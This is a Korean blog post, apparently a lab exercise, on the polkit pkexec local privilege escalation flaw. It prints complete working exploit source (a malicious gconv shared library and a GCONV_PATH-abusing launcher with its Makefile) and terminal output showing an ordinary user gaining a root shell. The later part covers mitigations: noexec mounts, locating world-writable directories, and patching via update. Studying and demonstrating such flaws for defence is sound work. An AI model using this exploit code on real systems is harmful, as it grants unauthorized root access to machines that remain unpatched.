본문 바로가기

정보/엔지니어

리눅스 polkit 취약점

 

https://www.boannews.com/media/view.asp?idx=104468 

 

거의 모든 리눅스 배포판에서 발견된 폰킷 취약점, 공격 난이도 낮아

리눅스 배포판 거의 전부에 탑재되어 있는 인증 소프트웨어에서 로컬 권한 상승 취약점이 발견됐다. 익스플로잇이 매우 쉬우며, 오류에 대한 기술적 설명만 가지고도 해킹 공격을 시연한 사례

www.boannews.com

 

루트 권한을 얻어보자! 

리눅스 polkit 취약점 

파일 3개: evil-so.c, exploit.c, Makefile


1. 사용자 생성
# useradd user1
# passwd user1

2. 공격 코드 작성
공격자가 공격코드를 작성해서 컴파일한다.
user1로 로그인해서 evil-so.c 파일을 생성한다.
$ vi evil-so.c 
// evil-so.c 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}

exploit.c 파일을 생성한다.
$ vi exploit.c 
// exploit.c 

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}

Makefile을 생성한다.
$ vi Makefile 
all:
	gcc -shared -o evil.so -fPIC evil-so.c
	gcc exploit.c -o exploit

clean:
	rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

3. gcc 설치
gcc를 설치한다.
# yum -y install gcc

 

4. 컴파일
make 를 이용해서 컴파일해서 실행파일 exploit, evil.so 파일을 생성한다.
$ make

5. 공격코드 실행
생성된 exploit 파일을 실행한다.
문제가 되는 취약점을 공략해서 일반유저 -> 관리자 권한을 획득한다. (권한 상승)
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ ./exploit
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

 

 

취약점 막기

 


취약점에 대한 방어를 하기 위해서는 업데이트를 해야한다.

일반유저가 쓰기 권한을 가지고 있는 디렉터리에 대해서 실행권한을 빼주는 것이 안전하다.
- /etc/fstab 부분에 option 부분의 defaults ( exec 실행 ) -> defaults,noexec 으로 수정하면 
실행파일이 그쪽 파티션에 있어도 실행할 수 없는 것이다.

 

여기서는 자동으로 설치했기 때문에 파티션이 분할되지 않았기 때문에 
분할된 파티션인 /boot 디렉터리에서 사용자를 /boot 디렉터리 밑에 생성 시킨다.

취약점 막기


# mkdir /boot/home2
# useradd -D -b /boot/home2
# useradd -D
GROUP=100
HOME=/boot/home2
INACTIVE=-1
EXPIRE=
SHELL=/bin/bash
SKEL=/etc/skel
CREATE_MAIL_SPOOL=yes

# vi /etc/fstab
/dev/mapper/centos-root /                       xfs     defaults        0 0
UUID=bbc7b2e7-350e-4801-9562-5d920043786f /boot                   xfs     defaults,noexec        0 0
/dev/mapper/centos-swap swap                    swap    defaults        0 0

# mount -o remount /boot
# mount | grep boot
/dev/sda1 on /boot type xfs (rw,noexec,relatime,seclabel,attr2,inode64,noquota)

# useradd user2
# passwd user2

 

user2가 로그인을 한다.
[user2@localhost ~]$ pwd
/boot/home2/user2

$ vi evil-so.c
$ vi exploit.c
$ vi Makefile

$ make

$ ll
합계 36
-rw-rw-r--. 1 user2 user2  149  6월 13 17:46 Makefile
-rw-rw-r--. 1 user2 user2  199  6월 13 17:45 evil-so.c
-rwxrwxr-x. 1 user2 user2 8224  6월 13 17:46 evil.so
-rwxrwxr-x. 1 user2 user2 8416  6월 13 17:46 exploit
-rw-rw-r--. 1 user2 user2  629  6월 13 17:46 exploit.c

실행파일이 실행되지 않게 설정한 (defaults,noexec) 파티션에서 공격코드를 실행하면 허가 거부된다.
$ ./exploit
-bash: ./exploit: 허가 거부

공격자 입장에서 전체 시스템 디렉터리에서 일반유저가 저장(write)할 수 있는 디렉터리를 모두 찾는다.
$ find / -perm -1000 2> /dev/null -ls
  8517    0 drwxrwxrwt   2 root     root           40  6월 13 16:12 /dev/mqueue
  8741    0 drwxrwxrwt   4 root     root          120  6월 13 17:49 /dev/shm
    69    0 drwxrwxrwt   3 root     root           85  6월 13 17:16 /var/tmp
16777288    0 drwxrwxrwt  10 root     root          276  6월 13 17:47 /tmp
17324864    0 drwxrwxrwt   2 root     root            6  6월 13 16:04 /tmp/.Test-unix
50623472    0 drwxrwxrwt   2 root     root            6  6월 13 16:04 /tmp/.font-unix
295539    0 drwxrwxrwt   2 root     root            6  6월 13 16:04 /tmp/.XIM-unix
17324868    0 drwxrwxrwt   2 root     root            6  6월 13 16:04 /tmp/.X11-unix
50623473    0 drwxrwxrwt   2 root     root            6  6월 13 16:04 /tmp/.ICE-unix

$ df
Filesystem              1K-blocks    Used Available Use% Mounted on
devtmpfs                   485800       0    485800   0% /dev
tmpfs                      497836      40    497796   1% /dev/shm
tmpfs                      497836    7904    489932   2% /run
tmpfs                      497836       0    497836   0% /sys/fs/cgroup
/dev/mapper/centos-root  17811456 1613032  16198424  10% /
/dev/sda1                 1038336  140536    897800  14% /boot
tmpfs                       99568       0     99568   0% /run/user/0
tmpfs                       99568       0     99568   0% /run/user/1000
tmpfs                       99568       0     99568   0% /run/user/1001

root로 권한 상승이 되는 이유는 ?
- 일반유저가 /tmp 디렉터리에 write,exec할 수 있기 때문에 가능하다.
GCONV_PATH=. evildir 디렉터리가 생기고 그 안에 파일을 생성하기 때문이다.

$ cd /tmp
$ pwd
/tmp
$ cp ~/evil-so .
$ cp ~/exploit .
$ ./explot
# exit


$ cd /dev/shm
$ pwd
/dev/shm
$ cp ~/evil-so .
$ cp ~/exploit .
$ ./explot
# exit

실제 연습이 끝나면 사용자 디렉터리를 /boot/home2에서 /home으로 다시 원래대로 돌려 놓는다.
# useradd -D -b /home
# useradd -D
GROUP=100
HOME=/home
INACTIVE=-1
EXPIRE=
SHELL=/bin/bash
SKEL=/etc/skel
CREATE_MAIL_SPOOL=yes
yum -y update
서버가 재부팅 후 로그인해서 user1 디렉터리로 이동한다.
# cd ~user1
# ls
GCONV_PATH=.  Makefile  evil-so.c  evil.so  evildir  exploit  exploit.c
# rm -rf GCONV_PATH\=./ evildir/
# ls
Makefile  evil-so.c  evil.so  exploit  exploit.c

user1로 로그인 해서 ./exploit을 실행한다.
polkit 취약점이 이미 패치되었기 때문에 관리자 권한을 탈취할 수 없다.
$ ./exploit
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>

$ ls
GCONV_PATH=.  Makefile  evil-so.c  evil.so  evildir  exploit  exploit.c
Recent Posts
Popular Posts
Recent Comments